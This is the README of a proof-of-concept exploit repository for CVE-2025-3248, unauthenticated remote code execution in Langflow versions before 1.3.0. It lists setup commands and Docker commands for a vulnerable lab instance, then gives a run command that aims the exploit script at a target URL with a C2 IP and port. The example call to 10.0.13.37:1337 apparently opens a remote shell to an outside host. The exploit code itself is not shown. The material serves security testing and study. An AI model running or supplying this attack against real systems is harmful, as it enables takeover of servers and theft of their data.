PoC for achieving RCE in Langflow versions <1.3.0# CVE-2025-3248
## Introduction
Langflow versions prior to 1.3.0 are susceptible to unauthenticated code injection in the /api/v1/validate/code endpoint via Python exec() function.
## Usage
### Configuration
```
git clone https://github.com/wand3rlust/CVE-2025-3248.git
cd CVE-2025-3248/
python3 -m venv venv
pip install -r requirements.txt
```
### Vuln App
```
docker pull langflowai/langflow:1.1.4
docker run -p 7860:7860 langflowai/langflow:1.1.4
```
### Run
```
python3 cve-2025-3248.py <TARGET_URL> <C2_IP> <C2_PORT>
```
E.g.: `python3 cve-2025-3248.py http://10.10.10.1:7860 10.0.13.37 1337`
## References
- Advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-3248
- GitHub: https://github.com/langflow-ai/langflow/security/advisories/GHSA-rvqx-wpfh-mfx7
- Original Exploit: https://www.exploit-db.com/exploits/52262
[4.0K] /data/pocs/787f60cee16c1caa59896b01e826ec13546310d1
├── [2.3K] cve-2025-3248.py
├── [1.0K] LICENSE
├── [ 831] README.md
└── [ 87] requirements.txt
0 directories, 4 files